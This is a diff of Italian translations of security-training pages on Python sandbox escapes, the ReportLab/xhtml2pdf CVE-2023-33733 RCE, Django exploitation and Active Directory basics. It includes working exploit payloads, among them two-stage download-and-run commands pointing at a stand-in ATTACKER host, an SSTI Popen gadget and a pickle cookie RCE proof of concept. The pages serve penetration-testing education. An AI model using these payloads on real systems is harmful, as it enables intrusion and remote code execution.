+Nota che **se non puoi importare `dis` nel python sandbox** puoi ottenere il **bytecode** della funzione (`get_flag.func_code.co_code`) e **disassemble**arlo localmente. Non vedrai il contenuto delle variabili caricate (`LOAD_CONST`) ma puoi dedurle da (`get_flag.func_code.co_consts`) perché `LOAD_CONST` indica anche l'offset della variabile caricata.
 ```python
 dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
 0 LOAD_CONST          1 (1)
@ -932,7 +932,7 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
 ```
 ## Compilazione di Python

-Ora, immaginiamo che in qualche modo tu possa **dump the information about a function that you cannot execute** ma tu **devi** **execute** it.\ Come nell'esempio seguente, puoi **access the code object** di quella funzione, ma semplicemente leggendo il disassemble non **sai come calcolare la flag** (_immagina una funzione `calc_flag` più complessa_)
+Ora, immaginiamo che in qualche modo tu possa **dumpare le informazioni su una funzione che non puoi eseguire** ma **hai bisogno** di **eseguirla**.\ Come nell'esempio seguente, puoi **accedere al code object** di quella funzione, ma limitandoti a leggere il disassemble non **sai come calcolare la flag** (_immagina una funzione `calc_flag` più complessa_)
 ```python
 def get_flag(some_input):
 var1=1
@ -947,7 +947,7 @@ return "Nope"
 ```
 ### Creazione del code object

-Prima di tutto, dobbiamo sapere **come creare ed eseguire un code object** così possiamo crearne uno per eseguire la nostra funzione leaked:
+Prima di tutto, dobbiamo sapere **come creare ed eseguire un code object** in modo da poter crearne uno per eseguire la nostra function leaked:
 ```python
 code_type = type((lambda: None).__code__)
 # Check the following hint if you get an error in calling this
@ -967,7 +967,7 @@ mydict['__builtins__'] = __builtins__
 function_type(code_obj, mydict, None, None, None)("secretcode")
 ```
 > [!TIP]
-> A seconda della versione di python i **parameters** di `code_type` possono avere un **ordine diverso**. Il modo migliore per conoscere l'ordine dei params nella versione di python che stai eseguendo è eseguire:
+> A seconda della versione di python i **parametri** di `code_type` possono avere un **ordine diverso**. Il modo migliore per conoscere l'ordine dei parametri nella versione di python che stai eseguendo è eseguire:
 >
 > ```
 > import types
@ -975,10 +975,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
 > 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n      flags, codestring, constants, names, varnames, filename, name,\n      firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object.  Not for the faint of heart.'
 > ```

-### Ricreare una leaked function
+### Ricreare una funzione leaked

 > [!WARNING]
-> Nel seguente esempio prenderemo direttamente tutti i dati necessari per ricreare la function dal suo code object. In un **esempio reale**, tutti i **values** per eseguire la function **`code_type`** sono ciò che **dovrai leak**.
+> Nel seguente esempio prenderemo tutti i dati necessari per ricreare la funzione direttamente dal function code object. In un **esempio reale**, tutti i **valori** necessari per eseguire la funzione **`code_type`** sono quelli che **dovrai ottenere tramite leak**.
 ```python
 fc = get_flag.__code__
 # In a real situation the values like fc.co_argcount are the ones you need to leak
@ -989,10 +989,10 @@ mydict['__builtins__'] = __builtins__
 function_type(code_obj, mydict, None, None, None)("secretcode")
 #ThisIsTheFlag
 ```
-### Bypass Defenses
+### Bypass Difese

-Nei precedenti esempi all'inizio di questo post, puoi vedere **come eseguire qualsiasi codice Python usando la funzione `compile`**. Questo è interessante perché puoi **eseguire interi script** con loop e tutto in un **one liner** (e potremmo fare lo stesso usando **`exec`**).\
-Comunque, a volte può essere utile **creare** un **compiled object** su una macchina locale ed eseguirlo nella **CTF machine** (per esempio perché non abbiamo la funzione `compiled` nella CTF).
+Negli esempi precedenti all'inizio di questo post, puoi vedere **come eseguire qualsiasi codice python usando la funzione `compile`**. Questo è interessante perché puoi **eseguire script interi** con loop e tutto in un **one liner** (e potremmo fare lo stesso usando **`exec`**).\
+Comunque, a volte può essere utile **creare** un **oggetto compilato** su una macchina locale ed eseguirlo nella **CTF machine** (per esempio perché non abbiamo la funzione `compiled` nella CTF).

 Per esempio, compiliamo ed eseguiamo manualmente una funzione che legge _./poc.py_:
 ```python
@ -1021,7 +1021,7 @@ mydict['__builtins__'] = __builtins__
 codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
 function_type(codeobj, mydict, None, None, None)()
 ```
-Se non puoi accedere a `eval` o `exec` potresti creare una **funzione vera e propria**, ma chiamarla direttamente di solito fallisce con: _costruttore non accessibile in modalità ristretta_. Quindi hai bisogno di una **funzione esterna all'ambiente ristretto per chiamare questa funzione.**
+Se non puoi accedere a `eval` o `exec` puoi creare una **funzione adeguata**, ma chiamarla direttamente di solito fallirà con: _constructor not accessible in restricted mode_. Quindi hai bisogno di una **funzione esterna all'ambiente ristretto che richiami questa funzione.**
 ```python
 #Compile a regular print
 ftype = type(lambda: None)
@ -1029,11 +1029,11 @@ ctype = type((lambda: None).func_code)
 f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
 f(42)
 ```
-## Decompiling Compiled Python
+## Decompilare Python Compilato

-Usando strumenti come [**https://www.decompiler.com/**](https://www.decompiler.com) si può **decompile** il codice python compilato dato.
+Usando strumenti come [**https://www.decompiler.com/**](https://www.decompiler.com) si può **decompilare** il codice Python compilato.

-**Consulta questo tutorial**:
+**Guarda questo tutorial**:


 {{#ref}}
@ -1054,7 +1054,7 @@ print("\nYou are a super user\n")
 except AssertionError:
 print(f"\nNot a Super User!!!\n")
 ```
-verrà bypassed
+verrà bypassato

 ## Riferimenti

--- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
+++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
@ -1,53 +1,53 @@
-# ReportLab/xhtml2pdf RCE da valutazione di espressioni [[[...]]] (CVE-2023-33733)
+# ReportLab/xhtml2pdf [[[...]]] RCE da valutazione di espressioni (CVE-2023-33733)

 {{#include ../../../banners/hacktricks-training.md}}

-Questa pagina documenta un practical sandbox escape e un primitivo RCE in rl_safe_eval di ReportLab usato da xhtml2pdf e altre pipeline di generazione PDF quando si rende HTML controllato dall'utente in PDF.
+Questa pagina documenta un pratico sandbox escape e un primitivo RCE in rl_safe_eval di ReportLab usato da xhtml2pdf e altre pipeline di generazione PDF quando viene renderizzato HTML controllato dall'utente in PDF.

-CVE-2023-33733 interessa ReportLab fino e inclusa la versione 3.6.12. In certi contesti di attributo (per esempio color), i valori racchiusi tra triple parentesi [[[ ... ]]] vengono valutati server-side da rl_safe_eval. Compattando un payload che pivotta da un builtin in whitelist (pow) ai suoi Python function globals, un attacker può raggiungere il modulo os ed eseguire comandi.
+CVE-2023-33733 interessa le versioni di ReportLab fino e inclusa la 3.6.12. In certi contesti di attributo (per esempio color), i valori racchiusi tra triple parentesi [[[ ... ]]] vengono valutati server-side da rl_safe_eval. Costruendo un payload che pivota da un builtin in whitelist (pow) ai suoi globals di funzione Python, un attaccante può raggiungere il modulo os ed eseguire comandi.

 Punti chiave
- Trigger: inject [[[ ... ]]] in attributi valutati come <font color="..."> all'interno di markup parsato da ReportLab/xhtml2pdf.
- Sandbox: rl_safe_eval sostituisce builtins pericolosi ma le funzioni valutate espongono comunque __globals__.
- Bypass: creare una classe transiente Word per bypassare i controlli di nome di rl_safe_eval e accedere alla stringa "__globals__" evitando il filtraggio dei dunder bloccati.
+- Trigger: inject [[[ ... ]]] in attributi valutati come <font color="..."> all'interno del markup analizzato da ReportLab/xhtml2pdf.
+- Sandbox: rl_safe_eval sostituisce molti builtins pericolosi ma le funzioni valutate espongono ancora __globals__.
+- Bypass: creare una classe transiente Word per aggirare i controlli sui nomi di rl_safe_eval e accedere alla stringa "__globals__" evitando il filtraggio dei dunder bloccati.
 - RCE: getattr(pow, Word("__globals__"))["os"].system("<cmd>")
- Stabilità: Restituire un valore valido per l'attributo dopo l'esecuzione (per color, usare and 'red').
+- Stabilità: Restituire un valore valido per l'attributo dopo l'esecuzione (per color, usare e 'red').

 Quando testare
- Applicazioni che espongono export HTML-to-PDF (profili, fatture, report) e mostrano xhtml2pdf/ReportLab nei metadata del PDF o nei commenti della risposta HTTP.
- exiftool profile.pdf | egrep 'Producer|Title|Creator' → producer "xhtml2pdf"
+- Applicazioni che espongono esportazione HTML-to-PDF (profili, fatture, report) e mostrano xhtml2pdf/ReportLab nei metadata del PDF o nei commenti della risposta HTTP.
+- exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
 - La risposta HTTP per un PDF spesso inizia con un commento generato da ReportLab

 Come funziona il bypass della sandbox
- rl_safe_eval rimuove o sostituisce molti builtins (getattr, type, pow, ...) e applica un filtering dei nomi per negare attributi che iniziano con __ o presenti in una denylist.
- Tuttavia, le funzioni "safe" vivono in un dizionario globals accessibile come func.__globals__.
- Usare type(type(1)) per recuperare la vera builtin type (bypassando il wrapper di ReportLab), poi definire una classe Word derivata da str con comportamento di confronto mutato in modo che:
-  - .startswith('__') → sempre False (bypass del controllo name startswith('__'))
-  - .__eq__ ritorna False solo alla prima comparazione (bypass dei check di membership nella denylist) e True successivamente (così getattr funziona)
-  - .__hash__ == hash(str(self))
- Con questo, getattr(pow, Word('__globals__')) restituisce il dict globals della funzione wrapped pow, che include il modulo os importato. Poi: ['os'].system('<cmd>').
+- rl_safe_eval rimuove o sostituisce molti builtins (getattr, type, pow, ...) e applica un filtro sui nomi per negare attributi che iniziano con __ o sono in una denylist.
+- Tuttavia, le funzioni "sicure" vivono in un dizionario globals accessibile come func.__globals__.
+- Usare type(type(1)) per recuperare la vera funzione builtin type (bypassando il wrapper di ReportLab), quindi definire una classe Word derivata da str con comportamento di confronto mutato in modo che:
+- .startswith('__') → sempre False (bypass del controllo name startswith('__'))
+- .__eq__ ritorna False solo alla prima comparazione (bypass dei controlli di membership nella denylist) e True dopo (così getattr funziona)
+- .__hash__ pari a hash(str(self))
+- Con questo, getattr(pow, Word('__globals__')) restituisce il dict globals della funzione pow wrappata, che include il modulo os importato. Poi: ['os'].system('<cmd>').

-Schema minimo di sfruttamento (esempio attributo)
-Posizionare il payload dentro un attributo valutato e assicurarsi che restituisca un valore valido per l'attributo tramite boolean and 'red'.
+Pattern minimo di sfruttamento (esempio in attributo)
+Inserire il payload dentro un attributo valutato e assicurarsi che ritorni un valore di attributo valido tramite boolean e 'red'.

 <para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('ping 10.10.10.10') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
 exploit
 </font></para>

- La forma con list-comprehension consente una singola espressione accettabile da rl_safe_eval.
- Il trailing and 'red' restituisce un color CSS valido così il rendering non si rompe.
+- La forma con list-comprehension permette un'unica espressione accettabile da rl_safe_eval.
+- Il trailing and 'red' restituisce un colore CSS valido così il rendering non si rompe.
 - Sostituire il comando secondo necessità; usare ping per validare l'esecuzione con tcpdump.

-Flusso operativo
-1) Identificare il PDF generator
- PDF Producer mostra xhtml2pdf; la risposta HTTP contiene un commento di ReportLab.
-2) Trovare un input riflesso nel PDF (es., bio/description del profilo) e triggerare un export.
+Workflow operativo
+1) Identificare il generatore PDF
+- Il PDF Producer mostra xhtml2pdf; la risposta HTTP contiene il commento di ReportLab.
+2) Trovare un input riflesso nel PDF (es. bio/descrizione del profilo) e forzare un'esportazione.
 3) Verificare l'esecuzione con ICMP a basso rumore
- Eseguire: sudo tcpdump -ni <iface> icmp
+- Run: sudo tcpdump -ni <iface> icmp
 - Payload: ... system('ping <your_ip>') ...
 - Windows spesso invia esattamente quattro echo request di default.
-4) Ottenere una shell
- Per Windows, un approccio affidabile a due stadi evita problemi di quoting/encoding:
+4) Stabilire una shell
+- Per Windows, un approccio affidabile a due fasi evita problemi di quoting/encoding:
 - Stage 1 (download):

 <para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -c iwr http://ATTACKER/rev.ps1 -o rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
@ -60,17 +60,17 @@ Flusso operativo
 - system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')

 Note e suggerimenti
- Contesti di attributo: color è un attributo noto per essere valutato; altri attributi nel markup di ReportLab possono anch'essi valutare espressioni. Se una posizione è sanitizzata, provare altre che vengono rese nel flusso PDF (campi diversi, stili di tabella, ecc.).
- Quoting: mantenere i comandi compatti. I download in due stadi riducono drasticamente problemi di quoting e escaping.
- Affidabilità: se gli export sono cachati o messi in coda, variare leggermente il payload (es., path o query random) per evitare di colpire cache.
+- Contesti di attributo: color è un attributo noto valutato; altri attributi nel markup di ReportLab possono anch'essi valutare espressioni. Se una posizione è sanitizzata, provare altre aree renderizzate nel flusso PDF (campi diversi, stili di tabella, ecc.).
+- Quoting: mantenere i comandi compatti. I download in due fasi riducono drasticamente problemi di quoting ed escaping.
+- Affidabilità: se le esportazioni sono cacheate o messe in coda, variare leggermente il payload (es. path o query random) per evitare cache.

 Mitigazioni e rilevamento
- Aggiornare ReportLab alla 3.6.13 o successiva (CVE-2023-33733 risolta). Tenere traccia degli advisory di sicurezza anche nei pacchetti distro.
- Non passare HTML/markup controllato dall'utente direttamente a xhtml2pdf/ReportLab senza una sanitizzazione rigorosa. Rimuovere/negare le valutazioni [[[...]]] e i tag vendor-specific quando l'input non è trusted.
- Considerare la disabilitazione o il wrapping di rl_safe_eval per input non trusted.
- Monitorare connessioni outbound sospette durante la generazione di PDF (es., ICMP/HTTP provenienti da app server durante l'export di documenti).
+- Aggiornare ReportLab alla 3.6.13 o successiva (CVE-2023-33733 risolto). Tracciare anche gli advisories di sicurezza nei pacchetti delle distro.
+- Non fornire HTML/markup controllato dall'utente direttamente a xhtml2pdf/ReportLab senza una sanitizzazione rigorosa. Rimuovere/negare le costruzioni di valutazione [[[...]]] e i tag vendor-specific quando l'input non è trusted.
+- Considerare la disabilitazione o l'incapsulamento completo di rl_safe_eval per input non attendibili.
+- Monitorare connessioni outbound sospette durante la generazione di PDF (es. ICMP/HTTP dai server applicativi durante l'esportazione di documenti).

-Riferimenti
+References
 - PoC and technical analysis: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733)
 - 0xdf University HTB write-up (real-world exploitation, Windows two-stage payloads): [HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
 - NVD entry (affected versions): [CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
--- a/src/network-services-pentesting/pentesting-web/django.md
+++ b/src/network-services-pentesting/pentesting-web/django.md
@ -2,25 +2,25 @@

 {{#include ../../banners/hacktricks-training.md}}

-## Manipolazione della cache per RCE
-Django's default cache storage method is [Python pickles](https://docs.python.org/3/library/pickle.html), which can lead to RCE if [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Se un attacker ottiene accesso in scrittura alla cache, può scalare questa vulnerabilità a RCE sul server sottostante**.
+## Cache Manipulation to RCE
+Django's default cache storage method is [Python pickles](https://docs.python.org/3/library/pickle.html), which can lead to RCE if [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Se un attaccante può ottenere accesso in scrittura alla cache, può scalare questa vulnerabilità a RCE sul server sottostante**.

-La cache di Django viene memorizzata in uno di quattro posti: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), o un [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). La cache memorizzata in un server Redis o in un database sono i vettori di attacco più probabili (Redis injection e SQL injection), ma un attacker potrebbe anche sfruttare la cache basata su file per trasformare una scrittura arbitraria in RCE. I maintainer hanno classificato questo come non-issue. È importante notare che la cartella dei file di cache, il nome della tabella SQL e i dettagli del server Redis variano in base all'implementazione.
+La cache di Django è memorizzata in uno di quattro posti: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), o un [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). La cache memorizzata in un server Redis o in un database sono i vettori di attacco più probabili (Redis injection e SQL injection), ma un attaccante potrebbe anche utilizzare la cache basata su file per trasformare una scrittura arbitraria in RCE. I manutentori hanno classificato questo come un non-problema. È importante notare che la cartella dei file della cache, il nome della tabella SQL e i dettagli del server Redis varieranno in base all'implementazione.

-Questo report HackerOne fornisce un ottimo esempio riproducibile di sfruttamento della cache di Django memorizzata in un database SQLite: https://hackerone.com/reports/1415436
+This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436

 ---

 ## Server-Side Template Injection (SSTI)
-The Django Template Language (DTL) is **Turing-complete**. Se dati forniti dall'utente vengono renderizzati come *template string* (ad esempio chiamando `Template(user_input).render()` o quando `|safe`/`format_html()` rimuovono l'escaping automatico), un attacker può ottenere pieno SSTI → RCE.
+The Django Template Language (DTL) is **Turing-complete**. If user-supplied data is rendered as a *template string* (for example by calling `Template(user_input).render()` or when `|safe`/`format_html()` removes auto-escaping), an attacker may achieve full SSTI → RCE.

 ### Rilevamento
-1. Cerca chiamate dinamiche a `Template()` / `Engine.from_string()` / `render_to_string()` che includono *qualsiasi* dato della request non sanitizzato.
+1. Cerca chiamate dinamiche a `Template()` / `Engine.from_string()` / `render_to_string()` che includono *qualsiasi* dato di richiesta non sanificato.
 2. Invia un payload basato sul tempo o aritmetico:
 ```django
 {{7*7}}
 ```
-Se l'output renderizzato contiene `49` l'input è compilato dal template engine.
+Se l'output renderizzato contiene `49`, l'input viene compilato dal motore di template.

 ### Primitive per RCE
 Django blocca l'accesso diretto a `__import__`, ma il grafo degli oggetti Python è raggiungibile:
@ -31,14 +31,14 @@ Trova l'indice di `subprocess.Popen` (≈400–500 a seconda della build di Pyth
 ```django
 {{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
 ```
-Un gadget universale più sicuro è iterare fino a `cls.__name__ == 'Popen'`.
+Un gadget universale più sicuro è iterare finché `cls.__name__ == 'Popen'`.

-Lo stesso gadget funziona per **Debug Toolbar** o **Django-CMS** nelle funzionalità di rendering dei template che gestiscono male l'input utente.
+Lo stesso gadget funziona per **Debug Toolbar** o le funzionalità di rendering dei template di **Django-CMS** che gestiscono male l'input dell'utente.

 ---

 ### Vedi anche: ReportLab/xhtml2pdf PDF export RCE
-Le applicazioni costruite su Django comunemente integrano xhtml2pdf/ReportLab per esportare le view in PDF. Quando HTML controllato dall'utente fluisce nella generazione del PDF, rl_safe_eval può valutare espressioni all'interno delle triple parentesi `[[[ ... ]]]` permettendo l'esecuzione di codice (CVE-2023-33733). Dettagli, payload e mitigazioni:
+Le applicazioni basate su Django comunemente integrano xhtml2pdf/ReportLab per esportare le views in PDF. Quando HTML controllato dall'utente entra nel processo di generazione del PDF, rl_safe_eval può valutare espressioni all'interno delle triple parentesi `[[[ ... ]]]` permettendo l'esecuzione di codice (CVE-2023-33733). Dettagli, payload e mitigazioni:

 {{#ref}}
 ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
@ -46,11 +46,11 @@ Le applicazioni costruite su Django comunemente integrano xhtml2pdf/ReportLab pe

 ---

-## Pickle-Backed Session Cookie RCE
-Se l'impostazione `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` è abilitata (o un serializer personalizzato che deserializza pickle), Django *decrypts and unpickles* il cookie di sessione **prima** di chiamare qualsiasi codice della view. Pertanto, possedere una chiave di signing valida (il `SECRET_KEY` del progetto di default) è sufficiente per un'immediata remote code execution.
+## RCE della session cookie basata su Pickle
+Se l'impostazione `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` è abilitata (o è presente un serializer custom che deserializza pickle), Django *decrypts and unpickles* il cookie di sessione **prima** di chiamare qualsiasi codice della view. Pertanto, possedere una chiave di firma valida (di solito il `SECRET_KEY` del progetto) è sufficiente per ottenere esecuzione di codice remota immediata.

-### Exploit Requirements
-* Il server usa `PickleSerializer`.
+### Requisiti per l'exploit
+* Il server utilizza `PickleSerializer`.
 * L'attaccante conosce / può indovinare `settings.SECRET_KEY` (leaks via GitHub, `.env`, pagine di errore, ecc.).

 ### Proof-of-Concept
@ -67,23 +67,23 @@ return (os.system, ("id > /tmp/pwned",))
 mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
 print(f"sessionid={mal}")
 ```
-Invia il cookie risultante e il payload viene eseguito con i permessi del worker WSGI.
+Invia il cookie risultante, e il payload viene eseguito con i permessi del worker WSGI.

-**Mitigazioni**: Mantieni il default `JSONSerializer`, ruota `SECRET_KEY` e configura `SESSION_COOKIE_HTTPONLY`.
+**Mitigazioni**: Mantieni il `JSONSerializer` di default, ruota il `SECRET_KEY` e configura `SESSION_COOKIE_HTTPONLY`.

 ---

-## Recenti (2023-2025) CVE Django ad alto impatto che Pentesters dovrebbero verificare
-* **CVE-2025-48432** – *Log Injection via unescaped `request.path`* (fixato il 4 giugno 2025). Consente agli attaccanti di introdurre newline/codici ANSI nei file di log e avvelenare l'analisi dei log a valle. Livello di patch ≥ 4.2.22 / 5.1.10 / 5.2.2.
-* **CVE-2024-42005** – *Critical SQL injection* in `QuerySet.values()/values_list()` su `JSONField` (CVSS 9.8). Costruire chiavi JSON per uscire dal quoting ed eseguire SQL arbitrario. Risolto in 4.2.15 / 5.0.8.
+## Recent (2023-2025) High-Impact Django CVEs Pentesters Should Check
+* **CVE-2025-48432** – *Log Injection via unescaped `request.path`* (fixato il 4 giugno 2025). Permette agli attaccanti di introdurre newline/codici ANSI nei file di log e avvelenare l'analisi dei log a valle. Livello di patch ≥ 4.2.22 / 5.1.10 / 5.2.2.
+* **CVE-2024-42005** – *Critical SQL injection* in `QuerySet.values()/values_list()` on `JSONField` (CVSS 9.8). Crea chiavi JSON per uscire dall'escaping e eseguire SQL arbitrario. Corretto in 4.2.15 / 5.0.8.

 Esegui sempre il fingerprint della versione esatta del framework tramite la pagina di errore `X-Frame-Options` o l'hash di `/static/admin/css/base.css` e testa quanto sopra dove applicabile.

 ---

-## Riferimenti
-* Django security release – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025.
-* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024.
-* 0xdf: University (HTB) – Sfruttando xhtml2pdf/ReportLab CVE-2023-33733 per ottenere RCE e pivotare in AD – [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
+## References
+* Django security release – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 giugno 2025.
+* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 agosto 2024.
+* 0xdf: University (HTB) – Sfruttamento di xhtml2pdf/ReportLab CVE-2023-33733 per ottenere RCE e pivotare in AD – [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html)

 {{#include ../../banners/hacktricks-training.md}}
--- a/src/windows-hardening/active-directory-methodology/README.md
+++ b/src/windows-hardening/active-directory-methodology/README.md
@ -1,54 +1,54 @@
-# Metodologia di Active Directory
+# Active Directory Metodologia

 {{#include ../../banners/hacktricks-training.md}}

 ## Panoramica di base

-**Active Directory** funge da tecnologia fondamentale, permettendo agli **amministratori di rete** di creare e gestire in modo efficiente **domini**, **utenti** e **oggetti** all'interno di una rete. È progettata per scalare, facilitando l'organizzazione di un gran numero di utenti in **gruppi** e **sottogruppi** gestibili, controllando i **diritti di accesso** a vari livelli.
+**Active Directory** funge da tecnologia fondamentale, permettendo agli **amministratori di rete** di creare e gestire efficacemente **domini**, **utenti** e **oggetti** all'interno di una rete. È progettata per scalare, facilitando l'organizzazione di un gran numero di utenti in **gruppi** e **sottogruppi** gestibili, controllando i **diritti di accesso** a vari livelli.

-La struttura di **Active Directory** è composta da tre livelli principali: **domini**, **tree** e **forest**. Un **domain** comprende una raccolta di oggetti, come **utenti** o **dispositivi**, che condividono un database comune. I **tree** sono gruppi di questi domini collegati da una struttura condivisa, e una **forest** rappresenta la collezione di più tree, interconnessi tramite **trust relationships**, formando il livello più alto della struttura organizzativa. Diritti specifici di **accesso** e **comunicazione** possono essere assegnati a ciascuno di questi livelli.
+La struttura di **Active Directory** è composta da tre livelli principali: **domini**, **alberi** e **foreste**. Un **dominio** comprende una raccolta di oggetti, come **utenti** o **dispositivi**, che condividono un database comune. Gli **alberi** sono gruppi di questi domini collegati da una struttura condivisa, e una **foresta** rappresenta la raccolta di più alberi, interconnessi tramite **trust relationships**, formando il livello più alto della struttura organizzativa. Diritti specifici di **accesso** e **comunicazione** possono essere assegnati a ciascuno di questi livelli.

 Concetti chiave all'interno di **Active Directory** includono:

 1. **Directory** – Contiene tutte le informazioni relative agli oggetti di Active Directory.
-2. **Object** – Indica entità all'interno della directory, inclusi **utenti**, **gruppi** o **cartelle condivise**.
-3. **Domain** – Funziona come contenitore per gli oggetti della directory; possono coesistere più domini all'interno di una **forest**, ciascuno con la propria raccolta di oggetti.
-4. **Tree** – Un raggruppamento di domini che condividono un dominio root comune.
-5. **Forest** – Il livello più alto della struttura organizzativa in Active Directory, composto da diversi tree con **trust relationships** tra loro.
+2. **Object** – Denota entità all'interno della directory, inclusi **utenti**, **gruppi** o **cartelle condivise**.
+3. **Domain** – Funziona come contenitore per gli oggetti della directory, con la capacità per più domini di coesistere all'interno di una **forest**, ciascuno mantenendo la propria raccolta di oggetti.
+4. **Tree** – Un raggruppamento di domini che condividono un dominio radice comune.
+5. **Forest** – Il livello massimo della struttura organizzativa in Active Directory, composto da diversi alberi con **trust relationships** tra di loro.

-**Active Directory Domain Services (AD DS)** comprende una serie di servizi critici per la gestione centralizzata e la comunicazione all'interno di una rete. Questi servizi includono:
+**Active Directory Domain Services (AD DS)** comprende una serie di servizi critici per la gestione centralizzata e la comunicazione all'interno di una rete. Questi servizi comprendono:

-1. **Domain Services** – Centralizza l'archiviazione dei dati e gestisce le interazioni tra **utenti** e **domini**, inclusi **authentication** e funzionalità di **search**.
-2. **Certificate Services** – Sovraintende la creazione, distribuzione e gestione dei **digital certificates** sicuri.
-3. **Lightweight Directory Services** – Supporta applicazioni abilitate alla directory tramite il protocollo **LDAP**.
-4. **Directory Federation Services** – Fornisce funzionalità di **single-sign-on** per autenticare utenti attraverso più applicazioni web in una singola sessione.
-5. **Rights Management** – Aiuta a proteggere materiale coperto da copyright regolando la sua distribuzione e uso non autorizzati.
-6. **DNS Service** – Cruciale per la risoluzione dei **domain names**.
+1. **Domain Services** – Centralizza l'archiviazione dei dati e gestisce le interazioni tra **utenti** e **domini**, inclusi **autenticazione** e funzionalità di **ricerca**.
+2. **Certificate Services** – Sovrintende alla creazione, distribuzione e gestione dei **certificati digitali**.
+3. **Lightweight Directory Services** – Supporta applicazioni abilitati alla directory tramite il **protocollo LDAP**.
+4. **Directory Federation Services** – Fornisce funzionalità di **single-sign-on** per autenticare gli utenti attraverso più applicazioni web in una singola sessione.
+5. **Rights Management** – Aiuta a proteggere materiali soggetti a copyright regolando la loro distribuzione e uso non autorizzati.
+6. **DNS Service** – Cruciale per la risoluzione dei **nomi di dominio**.

 For a more detailed explanation check: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)

 ### **Kerberos Authentication**

-Per imparare come **attaccare un AD** è necessario comprendere molto bene il processo di **autenticazione Kerberos**.\
+Per imparare come **attaccare un AD** è necessario comprendere molto bene il processo di autenticazione **Kerberos**.\
 [**Read this page if you still don't know how it works.**](kerberos-authentication.md)

-## Riepilogo rapido
+## Cheat Sheet

-Puoi consultare [https://wadcoms.github.io/](https://wadcoms.github.io) per avere una vista rapida dei comandi che puoi eseguire per enumerare/sfruttare un AD.
+Puoi consultare rapidamente [https://wadcoms.github.io/](https://wadcoms.github.io) per avere una visione rapida dei comandi che puoi eseguire per enumerare/sfruttare un AD.

 > [!WARNING]
-> La comunicazione Kerberos **richiede un full qualifid name (FQDN)** per eseguire azioni. Se provi ad accedere a una macchina tramite l'indirizzo IP, **verrà usato NTLM e non Kerberos**.
